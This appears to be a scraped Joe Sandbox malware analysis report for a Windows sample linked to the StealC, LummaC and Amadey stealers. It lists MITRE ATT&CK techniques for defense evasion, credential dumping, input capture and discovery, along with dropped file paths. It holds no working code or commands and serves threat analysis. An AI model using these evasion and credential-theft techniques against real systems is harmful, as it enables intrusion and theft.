Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_643ebf15b8.exe_e56bf846182166d346b7aa7f59925ef4621ee37b_02d5e332_4f036959-3d5f-42fc-8b73-9a787812bcb9\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8CBE.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F30.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8FDD.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\f186248479.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre